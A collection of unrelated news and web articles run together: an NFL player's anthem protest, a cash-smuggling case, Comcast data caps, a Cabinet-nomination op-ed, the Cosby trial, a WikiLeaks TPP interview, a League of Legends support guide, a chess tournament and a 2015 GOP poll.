Marshall also received a text from Kaepernick after the game. “Congrats,” it read. “Give me a call.”
• STANDING UP BY SITTING DOWN: Robert Klemko on why Colin Kaepernick’s upbringing helps explain why he’s choosing to protest
Tony Dungy and Rodney Harrison, two of the most prominent African Americans in pro football media, did not discuss the protest during NBC’s halftime program. Harrison, of course, apologized last week for saying Kaepernick is “not black” and thus unable to understand discrimination against black men.
Marshall wanted to make clear in his post-game comments that he had arrived at the conclusion he should join the protest only recently, and that the gesture was not connected to the anniversary of 9/11. He plans to donate part of his $2.5 million salary in 2016 to charities that support veterans returned from combat.
“I respect the troops,” Marshall says. “They fight for our rights to sit or stand, to protest and demonstrate peacefully. I honestly feel like this will spark some conversation and hopefully some change.”
Marshall suffered a blow to the head against the Panthers and was evaluated by medical personnel. He eventually returned to the game. Joe Mahoney/AP
Though Kaepernick and Marshall are close friends, Marshall said he hadn’t yet talked to Kaepernick about the protest. His decision was driven in part by personal experience. This summer, Marshall said he was dining with friends at a restaurant within Miami’s Bayside Marketplace, an enclave of restaurants and stores near downtown. Diners heard gunshots outside and ducked under tables out of fear. Police entered the restaurant minutes later and asked patrons to leave.
“I start walking to the exit I know,” Marshall says. “And there’s a lady in street clothes telling me to go a certain way, but I went my way. She starts yelling, Stop him! I’m walking and the police come, and I turn around and about five of them rush me. They grab me and they’re trying to wrestle me and take me to the ground. I’m standing my ground because I didn’t do anything; not fighting, but not laying down.
“A cop pulls his Taser out, they push me up against the wall and they handcuff me and they were going to take me in for resisting arrest but they eventually let me go. So they’re looking for a suspect, and some lady yells at me, and that’s enough to tackle me?”
Growing up in Las Vegas, Marshall rattled off instances of what he believed was racial profiling. In college he’d been pulled over while wearing a hoodie and grilled about his destination. (He says the officer never mentioned any infraction). In high school, Marshall’s older brother was pulled over while Marshall was sleeping in the passenger seat. The police insisted the groggy and confused Marshall must be high and requested to search their vehicle. His mother had profiling stories of her own, which she imparted to her children as a warning.
“I reminded them that they’re black men,” Barbara Marshall said Thursday night, “and it’s going to be harder for them to succeed… and I told them over and over again to be careful.”
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The hate arrived with every ping of Marshall’s phone in an empty locker room beginning at about 6:30 p.m. mountain time. When Marshall took a blow to the head and went through the concussion protocol in the first half, his detractors celebrated in his mentions.
“So many people have trouble understanding and empathizing,” Marshall said. “I saw somebody say ‘Go back to where you’re from.’ I’m from Vegas. It’s hate and it’s exactly what we talk about. People celebrating a possible concussion are proving my point.”
Marshall was eventually cleared to return to action, and he finished the game with six tackles as the Broncos held on for a one-point win when Panthers kicker Graham Gano missed a 50-yard field goal wide left. After Marshall showered, dressed, gave interviews and greeted his family in the tunnel that leads to the player parking lot at Mile High, coach Gary Kubiak’s white pickup truck pulled slowly through the corridor and stopped beside Marshall. The coach, who declined post-game to share his feelings about the protest, leaned across the middle console and said, “I want to talk to you tomorrow.”
Marshall nodded agreement. Marshall figures they’ll have a conversation about what comes next, and he’s ready for that. But first he’ll get a good night’s sleep and wake up and read every text message, along with most of his Twitter mentions, no matter how cruel.
“You can’t hide from it,” he said.
A Venezuelan man has been sentenced to three months in prison in Jamaica after being found guilty of swallowing more than $100,000 in cash.
Eddy Alberio Mancipe was stopped as he tried to board a flight from Sangster International Airport in Montego Bay to Trinidad, The Gleaner newspaper reports.
Officers became suspicious while questioning Mr Ortega, 41, and he was later arrested. He complained of sickness and was taken to hospital, where over two days he passed 80 plastic packages containing the $103,500 (£62,000), which he had been trying to smuggle off the island. As he had already been held in police custody for eight months before being charged and sentenced this week, he was "deported with immediate effect", the agency says.
Financial Investigation Division chief Justin Felice says Jamaica will step up port and airport checks, adding "This is the first instance that we have found cash being smuggled from Jamaica in such a fashion. It is indicative of how far persons will go in an effort to evade detection by law enforcement tasked with combating money laundering".
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Back in May, Comcast announced that it was ditching its 250GB data caps. The company announced that it would be exploring “improved data usage management approaches.” In fact, a 300GB per month flat cap (like Nashville) or a 300GB cap with options for higher-capped plans (Tucson) were both mentioned as options by Comcast at the time.
Under the Nashville plan, customers who exceed their 300GB monthly data allotment will be charged $10 for every subsequent 50GB of data they cross into. In order to ease customers into their new reality, Comcast will waive the first 3 incidences of overage that customers have during a 12-month period.
While any kind of data cap seems archaic for customers who have enjoyed the freedom of unlimited data in the past, 300GB at least is not prohibitive for the average customer. Still, for those who live their lives online – streaming their entertainment through Netflix and Hulu, playing online games with their friends, talking to their family through Skype, procrastinating on Reddit – that 300GB might not get them through one month. Some Canadians have it worse, though, with internet service providers that cap data at as little as 15GB. Just this week, Netflix Chief Content Officer Ted Sarandos called Canadian internet access “almost a human rights violation.”
When President Trump made Betsy DeVos secretary of education, the people didn’t get a say. (Sarah L. Voisin/The Washington Post)
In Washington, personnel is policy. Which means the helplessness of the American public when it comes to choosing those in charge of the massive federal bureaucracy is astounding. Voters can barely even spectate — let alone have a say — in the selection of the Cabinet members and others whose actions will shape their lives as much as the president’s, if not more.
There is, however, an easy and effective solution: Give Americans more time to delve into the records of a president’s nominees to determine more accurately who should fill the halls of the next White House. Just as presidential candidates cannot leave their party’s convention without having selected a vice president, neither should they leave without selecting the rest of their vital executive team. Upon accepting a presidential nomination from their party, candidates should offer the public a list of Cabinet members. Although the president appoints many more individuals who will ultimately have a hand in crafting policy, Cabinet members are among the most important decision-makers in modern government. The list needn’t be final — after all, appointees still need congressional approval even after being subject to public review. But as it stands, very few presidential nominees ever fail to pass muster in front of Congress, meaning a pre-released list would give both the public and Congress more time to learn about nominees, while increasing transparency in the overall process.
Over time, federal bureaucracy has grown massive. The original executive branch had only three departments: war, treasury and foreign affairs. Today, there are 15 executive departments and hundreds of federal agencies — so many that their exact number has become a subject of debate. Similarly, there was no White House staff until 1939, and then there were only six members, compared with several thousand today. As the executive branch’s ranks grew, so did its weight in the policymaking process: Abraham Lincoln signed 12 executive orders, Barack Obama signed 277. Two months into his presidency, Donald Trump has his signature on more than 45.
[I never cared about politics. But when Trump nominated Betsy DeVos, I had to act.]
Paradoxically, as the president’s powers have grown, the presidency has become less about policy and more about politics. Presidents generally make the final call on policy decisions, and, for better or worse, their names are the ones that go down in history. But the day-to-day business of government flows not through the Oval Office, but through the offices of Cabinet secretaries, deputy and assistant secretaries, chief financial officers, general counsels, agency heads, ambassadors and others. More than 1,000 appointees are subject to Congress’s approval, and there’s a brigade of others — such as White House staffers, senior advisers and press officers — that are not.
Despite this massive expansion, the rules of the game remain the same: Americans still select only their president, and they are hardly given any time to weigh the virtues and vices of the president’s nominees, who will ultimately help determine policy.
Ostensibly, confirmation hearings are the forums to litigate presidential appointments. In reality, however, this process is too little too late. It’s not a secret that most nominations are decided in the Congress’s antechambers. The hearing rooms are usually little more than a stage for political Kabuki theater. And there is a grain of truth to the protests that blocking Cabinet appointees is counterproductive. Governing is a complex task that is already slowed, if not stopped, by a year-long election cycle. Then, once the election is over, there is a pressing need to return to the business of government. Politicians who stand in the way are accused of obstructionism. They also face pressure from their party and interest groups. Even if the Senate blocked a nominee, the effect would probably be minimal: At best, the president would install the same nominee with a recess appointment (Trump did consider this course of action); at worst, the White House would replace the nominee with someone who has similar or worse credentials.
Indeed, confirmation hearings are such a foregone conclusion that it is not uncommon for several of them to be scheduled for the same time on the same day, as was the case with the Trump administration. This cannot be explained as benign prudence or simple efficiency. It is an absurdity for citizens to have to choose whether to listen to the energy secretary or the treasury secretary; the commerce secretary, the Environmental Protection Agency administrator or the ambassador to the United Nations; the CIA director or the secretary of housing and urban development.
[Donald Trump has assembled the worst cabinet in American history]
Politics is going through a confidence crisis. Millennials like us will make 46 percent of the electorate — 52 million votes — in 2020. Their trust in government is at a historic low, and millions have poured to the streets voicing a clarion call for change. If we are to restore faith in government, the system has to adapt: Requiring that candidates name their Cabinet nominees before they leave their party’s convention is a good place to start.
When the local edition of the traveling comic, pop culture and genre festival announced the ST: TNG re-union, we were beyond thrilled. The whole bridge crew, including Patrick Stewart, was confirmed, but no WW. The master of all-things geektastic was also AWOL in 2010 when his own assembly of wonder, the legendary w00tstock, came to town (he was ably replaced by none other than Sandman creator Neil Gaiman.) Now Wizard World has snagged the man that created the whole "location x, I am in you" meme will be dropping in to Austin.
He's not the only genre icon added. Michael Rooker (best known around here as the eponymous murderer in Henry: Portrait of a Serial Killer) re-unites with his The Walking Dead co-star Norman Reedus to tell tales of Merle and Daryl Dixon, the show's deadly brothers.
FILE PHOTO: Actor and comedian Bill Cosby arrives on the tenth day of his sexual assault trial at the Montgomery County Courthouse in Norristown, Pennsylvania, U.S., June 16, 2017. REUTERS/Tom Mihalek/File Photo
Tom Mesereau, one of three lawyers named as forming Cosby’s new legal team, is best known for helping to secure an acquittal for Jackson in the pop star’s 2005 child molestation trial in California.
Cosby, 80, was long beloved by U.S. television audiences for his family-friendly style of comedy, before dozens of women came forward to accuse him of a series of sexual assaults dating back to the 1960s.
He is due to be retried beginning Nov. 6 on charges of sexually assaulting Andrea Constand, a former administrator at his alma mater Temple University, at his Philadelphia-area home in 2004.
Cosby denies wrongdoing, saying any sexual contact he may have had with his accusers was consensual.
The jurors who heard Cosby’s first trial in the Constand case were unable to reach a verdict and Montgomery County Court of Common Pleas Judge Steven O’Neill declared a mistrial in May after 52 hours of deliberations that often stretched late into the night.
Besides Mesereau, lawyers Kathleen Bliss and Sam Silver will represent Cosby, according to a statement by Andrew Wyatt, Cosby’s publicist.
Cosby is due in court Tuesday for a hearing on changes to his legal representation after both his lawyers from the original trial, Brian McMonagle and Angela Agrusa, withdrew.
Each has declined to give reasons for withdrawing, but toward the end of the trial they appeared at odds with Wyatt, who would deliver impromptu news conferences outside the courthouse without McMonagle’s knowledge.
At one point during jury deliberations, the judge expressed annoyance that Wyatt had told reporters the time had come to declare a mistrial, prompting McMonagle to make it clear that Wyatt did not speak for the legal team.
The peak of Cosby’s career came in the 1980s when he earned a reputation as “America’s favorite dad” for his role as Heathcliff Huxtable on the TV hit “The Cosby Show.”
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Stephane Roussel, CEO of Parisian developer and Vivendi subsidiary Gameloft, spoke to the French press about the situation last week. He reiterated the fact that Vivendi wants to have a bigger presence in terms of video games, as Gameloft is a relatively small studio.
Ubisoft still seems to be the most desirable option, given that it’s a studio of French origin, and has a stable of franchises that are instantly recognizable to gamers all over the world. However, Vivendi isn’t looking at the situation as a case of Ubisoft or nothing.
According to Roussel, Vivendi may drop the Ubisoft bid if it can find another major video game company that’s more receptive to its advances. That would be good news for Ubisoft, as management has made no secret of the fact that being bought out wouldn’t be good for the studio.
As Ubisoft sees it, being taken over would make it more difficult to create unique and diverse titles. Vivendi has been pursuing the company by buying up stock, a strategy that would give it a great deal of sway in terms of which projects are given the greenlight and which fall by the wayside.
It seems that Vivendi might be about to take the hint and find another developer to welcome into its fold. Of course, the last we heard on the matter was that Vivendi expected to acquire Ubisoft by the end of 2017, so it’s entirely possible that this talk is part of a larger game plan.
To people who do not play computer games shoot-em-ups such as Counter-Strike and Quake look very straightforward.
You log on, you shoot everything that moves with a frightening arsenal of weapons, you log off.
But studies of players and teams are showing that these games are much more complex than many people suspect.
They are revealing the deep community and complex culture surrounding the games, as well as some of the reasons why people find them appealing.
Group shot
Since Counter-Strike was released in March 1999, the online modification, or mod, for the Half-Life computer game has been a huge hit.
Its simple premise pits terrorists against counter-terrorists and has become the most popular online multiplayer shoot-em-up.
But this uncomplicated premise masks a complex culture that social scientists are uncovering.
Professor Talmadge Wright and colleagues at Loyola University, Chicago, have spent hours studying Counter-Strike culture by taking part in games, interviewing players and reviewing text files of in-game banter.
Prof Wright said that the research shows that Counter-Strike is about much more than grim gunplay and racking up kills.
The strategy and tactics used by many regular players and teams, or clans, often makes it seem like a game of chess, he said.
The importance of the social side of Counter-Strike was revealed in the constant banter, in-jokes and insults that people exchanged during play, said Prof Wright.
To outsiders this game talk can be impenetrable and lead people to misinterpret what is going on.
Players tended to bring their offline culture with them when they play, said Prof Wright.
It was often obvious when teenage boys were playing, he said, because there was much more trashtalk and sexist or homophobic insults flying around.
But, said Prof Wright, it was a mistake to think that this meant that gamers were misanthropists.
"The most common emotion when people are playing is laughter," said Prof Wright.
The only reason that people can get away with insulting friends and foes was because they knew them so well, he said.
Collective play
Games such as Counter-Strike that rely on trust and co-operation give rise to strong communities and good friendships, said Prof Wright.
It gives people an option of actively participating in some kind of fantasy role they could not do in real life
It gives people an option of actively participating in some kind of fantasy role they could not do in real life
Professor Talmadge Wright, Loyola University
As a result players prefer to game with people they know rather than strangers and they tend to tone down the bad language when those they do not know well are present.
As well as good tactics, players also like moves and tricks that are particularly elegant, well executed or exploit the quirks of the game.
The names that people adopt for their online alter-egos show just how playfully regulars regard the game, said Prof Wright.
The licence that the game gives people to experiment is part of its huge attraction.
"It gives people an option of actively participating in some kind of fantasy role they could not do in real life that allows them to play with their own feelings," said Prof Wright.
"It is an area that's bricked off from everyday life that you can enter and leave at will," he said. "It offers you a way to play with things you may be scared of in a safe way where there are very few consequences."
For this reason, and others, Prof Wright believes that gaming is undoubtedly good for players.
Before now, he said, many studies of game playing have been skewed by hidden agendas.
AMY GOODMAN: Despite the Senate vote approving a measure to give President Obama fast-track authority to negotiate the secretive Trans-Pacific Partnership deal, opposition to the deal continues to mount ahead of this month’s House vote. Critics, including a number of Democratic lawmakers, oppose the TPP, saying it will fuel inequality, kill jobs, and undermine health, environmental and financial regulations. The negotiations have been secret, and the public has never seen most of the deal’s text. Well, this morning, the whistleblowing group WikiLeaks launched a campaign to change that. The group is seeking to raise $100,000 to offer what they describe as a bounty for the leaking of the unseen chapters of the TPP. WikiLeaks just posted this video online.
NARRATOR: WikiLeaks is raising a $100,000 reward for the missing chapters on America’s most wanted secret: the Trans-Pacific Partnership. And this is why.
PRESIDENT BARACK OBAMA: TPP is for American businesses, American businesses, businesses, businesses.
MIKE SYNAN: It’s called the Trans-Pacific Partnership, and it might not sound important to you, until you hear Democrats railing against their own president and saying your job could be on the line.
SEN. ELIZABETH WARREN: Who will benefit from the TPP?
LORI WALLACH: It is enforceable corporate global governance.
THOM HARTMANN: It is a giant giveaway to monster transnational corporations.
SEN. ELIZABETH WARREN: Wall Street, pharmaceuticals, telecom, big polluters and outsourcers are all salivating at the chance to rig the upcoming trade deals in their favor.
NARRATOR: All 29 chapters of the TPP are secret, but three of them have been WikiLeaked. So what do we know so far?
THOM HARTMANN: The United States has negotiated the TPP almost entirely in secret, with the help of about 600 private corporations.
NARRATOR: The TPP is a multitrillion-dollar treaty that is being negotiated behind closed doors by the Obama administration. They say it’s a free trade deal, but in reality it is anything but free. And 80 percent of it isn’t even about trade.
MELINDA ST. LOUIS: There are 29 chapters. Only five of them have to do with trade. They have to do with our freedom on the Internet. They have to do with the financial regulation, of food and product safety.
NARRATOR: The treaty covers nearly half of the world’s economy and is the largest ever negotiated. It will have implications beyond matters of trade, intruding into almost every aspect of people’s lives. The TPP bans favoring local businesses. Experts say it will send millions of jobs overseas and drive down wages and conditions at home. Multinational corporations will be able to sue the government for passing laws, including on the environment and health protections that they claim affect their expected future profit.
JOHN OLIVER: That’s right. A company was able to sue a country over a public health measure through an international court. How the [bleep] is that possible? Philip Morris International, a company with annual net revenues of $80 billion, basically threatened to sue Togo, whose entire GDP is $4.3 billion. Togo, justifiably terrified by threats of billion-dollar settlements, backed down from a public health law that many people wanted. And it’s not just Togo. Two tobacco companies sued Australia in its highest court. Philip Morris International is currently suing Uruguay. British American Tobacco sent a similar letter to Namibia, … the Solomon Islands.
NARRATOR: Pharmaceutical companies will be allowed to expand their monopolies, restricting the availability of affordable generic drugs. The TPP requires Internet service providers to become Internet policemen, watching your every click. It is a one-way ticket. Once signed, it will be locked in place for decades. But the scariest thing about the TPP is that there are 26 chapters that cover our daily lives that we have not seen.
AMY GOODMAN: Part of a new video released by WikiLeaks today. Well, on Memorial Day, I traveled to London and interviewed WikiLeaks founder Julian Assange inside the Ecuadorean Embassy, where he’s lived for nearly three years with political asylum. Assange faces investigations in both Sweden and the United States. I asked him about WikiLeaks’ TPP campaign.
JULIAN ASSANGE: Well, we are raising $100,000, which we think won’t be any problem at all, in pledges, for the 29 chapters of the TPP. Now, we have already obtained four and published four, but we’d also like updated versions of those four. Now, why is this so important? This agreement covers 40 percent of the global economy, and it lays the foundations for a new system of international law that will be embedded in all the economies involved. And it is a predecessor agreement to something called the TTIP, which is the U.S.-EU version. So, it’s going—
AMY GOODMAN: Called the Transatlantic Trade and Investment—
JULIAN ASSANGE: Partnership.
AMY GOODMAN: —Partnership.
JULIAN ASSANGE: Yeah, so this is going to cover more than 60 percent of GDP. And it is the framework, if it gets through, of international law, and filtering into domestic law. It is the construction of a new world, a new way of doing things, a new legal regime. So it’s, in historical terms, the largest-ever such agreement negotiated. And so that’s the importance. But we also want to also demonstrate that whistleblowers who give information in relation to this, they shouldn’t be chased or harassed, they should be celebrated. They should be celebrated like the Nobel Prize celebrates people who do good work, for the Nobel Prize. And so, I think we can achieve not just encouragement and incentive for people to look for such information, but rather, we can award and celebrate their courage and tenacity in getting a hold of it.
AMY GOODMAN: So, in a sense, you’re saying it’s not paying for the information, but it’s prize money for turning it over?
JULIAN ASSANGE: Well, it’s prize money for demonstrating the courage and tenacity in finding such information.
AMY GOODMAN: Can we go to the issue of journalism in the United States and how it’s being practiced today when it comes to whistleblowers, the issue of what it means to get information from a whistleblower, how you get that information? You have said you feel this is deeply endangered now and that laws are being considered that would criminalize journalism.
JULIAN ASSANGE: Right. Well, we want to take a—we also want to take a strong stand in relation to this. Now, the U.S. government, in terms of its attack on WikiLeaks, has tried to construct a theory which, if permitted, will be the end of national security journalism, not just in the United States, but also about the United States. That claim is that journalists can’t solicit information from sources and to solicit information is to be involved in a conspiracy. And—
AMY GOODMAN: An accomplice to the conspiracy.
JULIAN ASSANGE: Yeah. And the United States, in terms of the charge types that it’s trying to charge me with—those include conspiracy and conspiracy to commit espionage—this is rubbish. We cannot tolerate this at the political level or the media level. If we do tolerate it, then that standard will be erected. Then what happens in practice? How does traditional investigative journalism work? Well, you hear a rumor about some event occurring. Let’s say it’s an assassination squad assassinating people. You hear a rumor that there might have been an event, and you go and speak to your sources, or perhaps one approaches you and says, “I heard that this happened.” And then you say, “Well, that’s good, but we need to be able to prove it. So do you have information that can prove it?” And then they say, “Well, I think I might have some report on the incident.” And then you say, “Well, that’s good. Can we have that report? Can we see that report?” And that’s the way journalism has always been done. Now, the U.S. DOJ—
AMY GOODMAN: That’s the smoking gun.
JULIAN ASSANGE: That’s the smoking gun. That’s—if you see the Edward Snowden case, without that, without those documents, you don’t get anywhere. If you’ve got that, then they’re undeniable, if they’re official documents. So, we cannot allow a standard to be erected, in national security journalism or other forms of investigative journalism, where that is not permitted, where that is seen to be unlawful. And a number of journalists, as a result of the DOJ pushing this line that it is unlawful to solicit tips from sources, have been—to protect themselves, they have said that they’re not. But as a result, a new standard is being erected—is in danger of being erected, where you cannot solicit tips from sources.
Now, we even fell into this mistake back in 2011, 2012, where our situation was quite precarious. Based on legal advice, WikiLeaks doesn’t solicit information. In fact, WikiLeaks is one of the few organizations, because of our infrastructure, that we do often get unsolicited information. But we think it’s necessary to hold the line and say, “No, asking for tips is a very important thing to do. It’s always been done in journalism.” And we’re going to show that we do that. We are confident about doing that. We are confident that that is legal, under most judicial systems, and it should be legal also in the United States—we say it is legal under the First Amendment. And if the U.S. DOJ wants to have a fight about that in relation to the TPP or anything else, then bring it on.
AMY GOODMAN: Julian Assange, speaking inside the Ecuadorean Embassy in London, where he has taken refuge for the past three years. I interviewed him on Memorial Day. You can go to democracynow.org to see the two hours of our exclusive interview [hour one, hour two].
Hobbs, 25, joined on a season-long loan in July, with a view to a permanent deal which Al Hasawi said was in place.
Tigers boss Steve Bruce had also said a deal for "close to £1m" was done.
But Hobbs, who has played 27 times for Forest this season, has been recalled following an injury to James Chester.
The Forest chairman said on Twitter earlier this month: "I am delighted that I have agreed a deal with Hull City's chairman for Jack."
Hobbs trained with the Tigers on Friday morning but is ineligible to play in this weekend's FA Cup tie against Southend.
If you're like me, chances are you've been playing support more often than you'd like lately. Maybe you're solo-queueing in Normal Draft, where premades get pick priority. Maybe playing support even once is "more than you'd like." Or maybe you're a kind, considerate person who does whatever his team needs him to do without complaint to round out the team comp.
Whatever the reason, I hope this article helps you to enjoy playing supports more. I believe it was Sun Tzu who said, "He who plays support and allows me to pwn bot lane on my Ezreal need not fear the results of a hundred battles." So lace up your frilly bras, gentlemen and ladies. It's time to support.
There are two champions in the bottom lane, usually. You've got your AD Carry, and your Support. Let's have a look at a to-do list for the Carry:
AD Carry to-do list:
- Don't die
- Last-hit a ton of minions.
- Try to win trades with the enemy carry
- Get kills whenever possible
Simple stuff. You need to farm for late-game while staying alive--and trying to stop the enemy from doing the same. That's your whole job in the laning phase, outside of dragon fights. How well you do depends on your skill, but as a whole it's pretty clear-cut. Now let's look at the support's to-do list:
Support to-do list:
- Keep your carry alive to farm
- Provide map control via green and pink wards
- Keep track of enemy wards placement and timers
- Keep track of buff and dragon timers
- Harass the enemy
- Provide bush control via wards and Garen impersonations
- Take every minion that your carry misses
- (Optional) Help your carry last-hit
- Decide when to go for kills
- (Optional) Use Clairvoyance to track the enemy jungler
Want to know the reason that so many people hate playing support? They've never read that list. They pick Soraka or Sona because some jerk didn't let them call dibs on mid lane omg and they stand around in bot lane pressing heal while their AD carry is left to 1v2 the enemies. They buy wards grudgingly while they complain that they can't carry their noob team from bot lane. And they lose, because they're terrible at their job. Here's a single-question test you can use to see if you've been playing Support correctly:
1. Has your entire influence on the game been comparable to that of a health potion? (Circle Yes or No)
If you answered Yes, then you're doing something wrong. If you circled Yes on your monitor just now, there may be no hope for you.
So let's talk about the things on that to-do that you do so well.
Keep Your Carry Alive
Pretty self-explanatory. Your carry needs money. She needs to get that money by killing creeps. She needs to be alive to kill creeps, unless she's Kog'Maw (note: Kog still farms better while alive) Heals keep carries alive. So do shields. So does *standing in front of them to die instead*. Don't die needlessly, but if one of you has to die, volunteer. You make just as much money dead as you do alive. Speaking of things that keep your carry alive:
Providing Map Control
If nobody's running a kill lane like Leona + Jarvan, bot lane is all about farming. Except, of course, when the jungler shows up. So you need to be prepared for him to appear when you wish he wouldn't. Here's a non-exhaustive map of good ward positions for bot lane.
Wards in the tri-brush cover part of the river and the path behind dragon, which is a popular gank route. Wards in the river cover the river. And wards in the bottom brush prevent lane-ganks (and should be in the brush closest to the enemy's tower to give you advance warning) while also preventing the enemy support from using the brush to zone you out. Dragon should be warded to tell you when the enemy team tries to take it, or when the mid champion is heading to bottom.
But that's only half of what map control entails. The other half is using pink wards or an Oracle's Elixir to remove map control from the enemy. If the enemy support wards your bottom brush, they keep you from zoning them from it. However, you can pink ward it, earn yourself 25g and cost the enemy 75g, and continue to zone them freely for the next 3 minutes.
If you pink ward the tri-brush, your jungler knows that he has a safe route to gank from. And you should always pink ward dragon before you take it--you don't want someone Flash+Smiting it or killing it with a long-range skill right as it's about to die.
Phew, glad we're done with the warding section. If that got any longer, I'd--
Keeping Track of Enemy Ward Placement and Timers
Dammit.
Now, having map control is awesome. Also awesome: killing the enemy. To do that, you generally need your jungler there for a numbers advantage. And your jungler needs to know where the enemy has warded so he can gank. Pink wards, as I've mentioned, work well. But there are other ways to keep track of enemy wards.
First off, you can use your eyes to see where they're placed. If the enemy support walks into the river with 3 wards and comes out with 2, it's safe to assume they dropped a ward in the river. Trust me. Now, also using your eyes, look at the clock in the top right corner of the UI. Add 3 minutes to that, and write down when the ward will expire. If he ganks immediately after that ward expires, he can attack while they still feel safe.
Not sure if there's a ward in a brush? Enemy minions that haven't selected a target will attack you if you are in a warded brush; their models will have a glowing yellow border if they're targeting you.
Keeping Track of Buff and Dragon Timers
Here's a list of spawn timers for you to memorize.
Blue + Red buff - 5 minutes
Dragon - 6 minutes
Baron - 7 minutes
Pretty darn simple, that. 5, 6, 7, in ascending order of importance. Now, whenever you see one of them get killed, write out the time it will spawn in chat. Your timely clairvoyance saw the enemy take blue at 7:15? It'll be up at exactly 12:15; your team can take it before the jungler gets there. Dragon killed at 8:45? It's back at 14:45; have your team ready 20 seconds in advance, because it'll take them 30 to actually get around to going there.
Harass The Enemy
As a support, you don't need to be attacking creeps. But Dan, you ask, what should I be favouring with my tender, pillowy autoattacks? Why, the enemy, of course! And weak though your attacks may be, they can add up over time. A Sona that maxes Q first can burst the enemy carry down to 75% health with a Q + Power Chord combo.
Alistar can headbutt the carry while he's trying to last-hit to deny him farm, then heal off any harassment. And any ranged support can keep harassing with autoattacks and retreating to the safety of a brush. If they attack you back, that's damage your carry isn't taking, and last-hits the enemy isn't getting. The more you harass, the less they can focus on farming. And of course the usual caveat applies: don't get yourself killed, and more importantly don't get your carry killed.
Provide Brush Control
Shurelia's Zoning Tutorial is a must-watch for every player; support or otherwise. You need to understand what the simple act of sitting in a bush can do to the enemy (Garen players know this already, yes?). But the video is pretty self-explanatory; I'll let her do the talking. And yes, that video is by former Riot Employee Shurelia, as in Shurelia's Reverie.
Take Every Minion your Carry Misses - And optionally, Helping Them Last-hit
Minions don't need gold. Towers don't need gold. So if you see that your carry is going to miss a last-hit, whether so she can get a different minion or because she's distracted by shiny things, take it. The "0-CS Support Meta" doesn't mean that you get 0 cs; it means you take 0 cs from your carry. Don't let the minion's life be but a waste. Take his gold and plant a ward in his honor.
An optional part of this is to help your carry last-hit. If you see that two minions are being damaged at the same rate, you can infer that they'll both die at the same time--and your carry won't be able to last-hit them both. By attacking one of them once or twice, you ensure they die far enough apart that your carry can kill them both. And if you're under your tower, you can also help your carry to last-hit the ranged minions. Ranged minions take 1 tower hit and 2 autoattacks (on average) to die. If you see a tower attack a full-health ranged minion, hit it once and let your carry finish it off.
Decide When to Go For Kills
Here's the really tricky part. For all the power that carries have late-game, early on the support runs the show. You're the aggressive one, you're the one who's keeping track of ability cooldowns and ward timers, and maybe you've been tracking the enemy jungler through the jungle.
So you're the one who has the information needed to decide when it is a good time to fight and when it is not. Communicate with your carry; let her know with words or a ping when you're going aggressive. Did the enemy Soraka just heal herself? Her carry is fair game for the next 20 seconds. Enemy Kog'Maw puked his Void Ooze everywhere? There goes his only escape.
So there you have it. Support -- at least in the laning phase -- is an incredibly complex job. It's not for the weak of heart, and it's especially not a role that should be relegated to the lowest Elo on the team.
Up next in Part 2: What to do after the laning phase.
Useful links:
Ult In Ten Ep. 12 - Elementz - Video commentary of a tournament match from the Support's perspective
So unexpectedly lost to three lesser players, and was forced to forfeit a fourth point when he was cited for writing a personal note to himself in one round. Noted chess analyst Yasser Seirawan described it as a “meltdown.”
So said his poor play was due to family pressures.
“We had some relatives visit over here in St. Louis and they wanted to do something which we didn’t want,” So explained to NBC News. “I was kind of distracted the first three days…I was stressed during and before the game.”
Those relatives included So's estranged mother, Leny, who sources close to So say he's seen only three or four times in the last six years. She reportedly attempted to re-connect with her son at the tournament. Leny So could not be reached for comment.
“At this point, he’s in the middle of a nervous breakdown and wants to go home.”
Deepening the drama was the involvement of So's former coach, Paul Truong, who recruited So to Webster University. His star pupil dropped out to turn pro after winning a major tournament last year with a cash prize of $100,000, and moved to Minnesota to live with the family of Lotis Key, a Filipino-American author who also runs chidren's charities in the Philippines.
Truong, a former U.S. Chess Federation board member, fell from grace in the organization after alleged internet postings and an ensuing legal battle. The suit was settled but Truong's membership was revoked. Today, he continues to coach, including Robson - born in Guam to a Chinese mother and American father - who came from behind to beat So for second place by a full point, for a $30,000 prize.
Key said the family tension disrupted So's focus.
“He’s very stressed,” Key told NBC News during the tournament. “At this point, he’s in the middle of a nervous breakdown and wants to go home.”
Truong admitted knowing about Leny So's visit, but maintains Wesley So's handlers are making excuses for his poor play.
Aug. 2, 2015, 1:01 PM GMT / Updated Aug. 2, 2015, 4:13 PM GMT By Carrie Dann
Days before the first Republican debate, Donald Trump has surged into the national lead in the GOP primary race, with Wisconsin Gov. Scott Walker and former Florida Gov. Jeb Bush following, a new NBC News/ Wall Street Journal poll shows.
Trump is the first choice of 19 percent of GOP primary voters, while 15 percent back Walker and 14 percent back Bush. Ten percent support retired neurosurgeon Ben Carson.
All other Republican candidates earn single digit backing. Texas Sen. Ted Cruz is favored by nine percent of primary voters; former Arkansas Gov. Mike Huckabee and Kentucky Sen. Rand Paul are tied with six percent support; Florida Sen. Marco Rubio clocks in at five percent; and New Jersey Gov. Chris Christie, former Texas Gov. Rick Perry and Ohio Gov. John Kasich are tied with three percent apiece. Louisiana Gov. Bobby Jindal and former Pennsylvania Sen. Rick Santorum each have one percent support, and four candidates – former HP head Carly Fiorina, South Carolina Sen. Lindsey Graham, former New York Gov. George Pataki and former Virginia Gov. Jim Gilmore – register less than one percent support.
Donald Trump – 19%
Scott Walker – 15%
Jeb Bush – 14%
Ben Carson – 10%
Ted Cruz – 9%
Mike Huckabee – 6%
Rand Paul – 6%
Marco Rubio – 5%
Chris Christie – 3%
Rick Perry – 3%
John Kasich – 3%
Bobby Jindal – 1%
Rick Santorum – 1%
Carly Fiorina - *
Lindsey Graham - *
George Pataki - *
Jim Gilmore - *
Jeb Bush is the second choice of 16 percent of respondents, with Carson, Trump, and Rubio all winning the second choice spot from 11 percent of voters.
Making the debate cut
Only the top 10 candidates -- calculated by an average of the last five major national polls -- will be eligible to participate in Thursday's FOX News debate in primetime, according to the network's rules. Incorporating the new NBC/WSJ numbers, NBC estimates that the top ten candidates at this time are:
Trump - 19.8 percent
Walker - 13.2 percent
Bush - 13 percent
Paul - 6.4 percent
Carson - 6.4 percent
Rubio - 6.2 percent
Huckabee - 5.8 percent
Cruz - 5.8 percent
Christie - 3.2 percent
Kasich - 3.2 percent
Those missing the cut are:
Perry - 2.6 percent
Santorum - 1.4 percent
Jindal - 1.4 percent
Fiorina - 0.6 percent
Pataki - 0.6 percent
Graham- 0.4 percent
Gilmore - 0 percent
Trump's rise
It has been a rapid ascent for Trump, who declared his presidential run just over six weeks ago. In early June, just one percent of GOP primary voters called Trump their first choice for the GOP nod.
